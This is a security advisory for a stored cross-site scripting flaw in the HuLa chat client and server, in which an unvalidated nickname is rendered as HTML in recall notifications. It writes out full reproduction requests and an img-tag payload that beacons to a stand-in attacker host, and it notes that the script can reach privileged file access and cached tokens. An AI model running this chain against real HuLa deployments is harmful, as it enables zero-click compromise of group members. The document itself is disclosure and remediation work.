Stored Cross-Site Scripting (XSS) via Recall Message Notification in HuLa ≤ 3.0.9
BUG_Author: Geronimo (VulDB UID 102234)
Affected Version: HuLa ≤ 3.0.9 (Tauri desktop client) with HuLa-Server ≤ 3.0.9 (Spring Boot backend)
Vendor: HuLaSpark (GitHub)
Software: HuLa — cross-platform IM client (Tauri 2 + Vue 3 + Rust, WebView2/WebKit) and HuLa-Server — self-hosted backend (luohuo-boot-server, Spring Boot 4 + MySQL + Redis + RocketMQ)
Vulnerability Files:
HuLa-Server: luohuo-im-biz/src/main/java/com/luohuo/flex/im/core/chat/service/strategy/msg/RecallMsgHandler.java (lines 53–100 — recall text built by string concatenation, no output encoding)HuLa-Server: luohuo-oauth/src/main/java/com/luohuo/flex/oauth/vo/RegisterVO.java (line 49 — nickName has no length or content restriction)HuLa-Server: luohuo-im-biz/src/main/java/com/luohuo/flex/im/service/impl/UserServiceImpl.java (lines 355–390 — registration nickname written verbatim into im_user.name)HuLa-Server: luohuo-im-biz/src/main/java/com/luohuo/flex/im/service/impl/RoomAppServiceImpl.java (lines 1494–1501 — member display name falls back to im_user.name)HuLa: src/views/chat/components/RecallMessage.vue (line 11 — v-html="recallText" sink)HuLa: src/stores/chat.ts (lines 938, 954–960 — recall notification text assembly on the client)HuLa: src-tauri/tauri.windows.conf.json (line 126 — "csp": null)Unvalidated nickname is stored as the IM user name:
POST /anyTenant/registerByEmail accepts a RegisterVO whose nickName field has no length limit and no character allow-list, unlike the other fields of the same class (key, code, password, confirmPassword are all constrained).UserServiceImpl.register() writes the nickname verbatim into im_user.name. Group member listings then return it as the display name: RoomAppServiceImpl.java:1494-1501 uses member.myName when set, otherwise the ImUser.name, i.e. the attacker-controlled value.The server composes the recall notification without encoding:
RecallMsgHandler.showMsg() receives the recalled message, looks up the recaller's ImUser and the group role, and builds the notification string:
javaString messageText = roleName + recallerUserInfo.getName() + "撤回了一条消息";
return new MsgRecallVo(messageText);
The result is placed into the message body.content and pushed to every member of the room as-is. No HTML escaping, no sanitization, no length cap on the outbound text.
The client renders the notification with v-html:
RecallMessage.vue:11 binds the received text with v-html="recallText", so the nickname's HTML is parsed and executed inside the Tauri WebView.MessageStrategy.ts:114-119), but the recall banner bypasses that path entirely.Zero-click delivery:
<img src="http://attacker.example/f02"> fires an outbound request immediately, with no user interaction.The execution context is privileged:
withGlobalTauri: true (tauri.conf.json:46), so injected script can reach Tauri's window.__TAURI__ IPC directly.fs:write-files scopes covering $APPDATA/** (capabilities/default.json:114-130), and the local application database %APPDATA%\com.hula.pc\db.sqlite contains cached session tokens."csp": null in the platform configuration removes the Content-Security-Policy (JSON Merge Patch deletes the key), so inline scripts and arbitrary img-src are not restricted.Example payload (visible proof, no data exfiltration):
html<img src="http://attacker.example/f02" onerror="document.title='XSS_OK'">
The nickname column is varchar(48), which is sufficient for the img form (<img src=http://attacker.example/f02> is 40 bytes) and for short inline payloads.
Requesting the vulnerable functionality:
POST /anyTenant/registerByEmail HTTP/1.1 Host: <target> Content-Type: application/json Authorization: Basic <base64(clientId:clientSecret)> {"email":"attacker@example.com","password":"Passw0rd!","code":"<email code>", "nickName":"<img src=http://attacker.example/f02>"}
Response: {"code":200,"data":{"token":"<uuid>",...}} — account created, nickname stored.
POST /room/group HTTP/1.1 token: <attacker token> tenantId: 1 {"uidList":[<victim uid>, <third uid>], "groupName":"XSS-Lab"}
Response: {"code":200,"data":{"id":<room id>}} — group created, members joined.
POST /chat/msg {"roomId":<room id>,"msgType":1,"body":{"content":"hello"}} PUT /chat/msg/recall {"msgId":<msg id>,"roomId":<room id>}
Verifying the exploit:
The victim reads the message list after the recall:
POST /chat/msg/list token: <victim token> {"roomId":<room id>,"pageSize":50}
The response contains the unescaped text:
json{"type":2,"body":{"content":"群主<img src=http://attacker.example/f02>撤回了一条消息"}}
The victim client renders it, and the attacker listener receives GET /f02 from the victim's machine — observed with zero clicks (see Proof of Concept step 5).
Register an account whose nickname is the payload (registration is open; no invitation needed):
POST /anyTenant/registerByEmail {"email":"attacker@example.com","password":"Passw0rd!","code":"<email code>", "nickName":"<img src=http://attacker.example/f02>"}
2. Log in as the attacker and create a group containing the victim (HuLa requires at least 3 members):
POST /anyTenant/login {"account":"<attacker account>","password":"Passw0rd!","systemType":2,"deviceType":"PC"} POST /room/group {"uidList":[<victim uid>,<third uid>],"groupName":"XSS-Lab"}
Send a message and recall it:
POST /chat/msg {"roomId":<room id>,"msgType":1,"body":{"content":"hello"}} PUT /chat/msg/recall {"msgId":<msg id>,"roomId":<room id>}
Confirm the server delivers raw HTML to the victim (victim token, no client needed):
POST /chat/msg/list {"roomId":<room id>,"pageSize":50} -> "body":{"content":"群主<img src=http://attacker.example/f02>撤回了一条消息"}
5. Trigger it in the real client and observe the outbound request:
Log in as the victim in the HuLa client and open the group.
The attacker listener log shows (verified 2026-10-23 against a self-hosted HuLa-Server and the official Windows client):
192.168.40.1 - - [23/Oct/2026 14:00:12] "GET /f02 HTTP/1.1" 404 - 192.168.40.1 - - [23/Oct/2026 14:00:13] "GET /f02 HTTP/1.1" 404 - 192.168.40.1 - - [23/Oct/2026 14:00:22] "GET /f02 HTTP/1.1" 404 -

No click on the message was needed: opening the conversation was enough.
The banner itself renders as 群主<img …>撤回了一条消息 in the chat history:
the <img> tag is parsed by the WebView and the image request fires while the
banner is being painted. When the canary has no /f02 file the banner shows a
broken-image placeholder — the request is still visible in the listener log
(404 is expected and is the proof, not a failure).
Reproduction note (UI prerequisite): the client only mounts the right-hand
chat panel when the window width is at least ~832 CSS px (left rail 72 + right
panel 600 + 160 minimum slack). On a small window, or on a high-DPI display where
the default 1462-px-wide window reports only 787 CSS px, clicking the conversation
merely highlights it and the chat panel never appears. Maximize the window (or
enlarge it past ~832 CSS px) before this step; this was confirmed with an
instrumented build on 2026-10-23 ([dbg-layout] innerW=787 … SHRINK_WINDOW true
versus innerW=1399 … SHRINK_WINDOW false).
A remote attacker with a single self-registered account can store an executable HTML payload in their nickname and deliver it to every member of any group they create, without any privilege beyond "normal user". The payload executes inside the desktop client's WebView, which holds the application's Tauri IPC privileges — file-system read/write under the user profile, access to cached credentials in the local database, and the ability to make further network requests from the victim's machine. This is persistent (the nickname remains stored), targets all members of the group, and requires zero interaction from the victim.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N = 9.7 (Critical)CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N = 8.8 (High)RegisterVO fields already show the intended pattern).v-html in RecallMessage.vue with text interpolation, or route the recall text through the same DOMPurify sanitizer used for message bodies."csp": null from the platform configs and define default-src/img-src/script-src explicitly.withGlobalTauri in release builds and tighten the fs capability scopes to the directories the application actually needs.These are deployment details of a self-hosted luohuo-boot-server, not part of the
vulnerability. They were needed to reproduce the chain end-to-end:
Authorization is the raw base64 of clientId:clientSecret — do not prefix it
with Basic (the backend decodes it with Base64Util, a prefixed value fails with
-6 无效参数异常).tenantId: 1 (multi-tenant monolith); without
it the backend aborts with ContextUtil 不存在租户编号.邮件验证码 … code=…); in a production deployment
it is delivered by e-mail.oauth/, im/, system/
on the way out. When calling the monolith directly, call the bare paths
(/anyTenant/registerByEmail, /chat/msg, /chat/msg/recall, …).无此权限/获取节点列表失败; starting the server with
--luohuo.ignore.notConfigUriAllow=true is sufficient for this chain.luohuo-boot-server (single-process deployment, Spring Boot 4 + MySQL 8 + Redis 7 + RocketMQ 5) built from source, on Ubuntu 22.04; API on :18760, WebSocket path /ws/ws.hula.exe, debug build, WebView2 on Windows 11 x64), pointed at the self-hosted backend. The client was rebuilt from the released source once to add layout logging (to A/B the window-size prerequisite); the stock build shows identical behaviour — the only difference is the extra log lines.python3 -m http.server 9999 acting as the canary endpoint.curl or Burp; the raw request/response captures, the canary log and a screen capture of the rendered banner (群主<img …>撤回了一条消息) are kept in the evidence directory.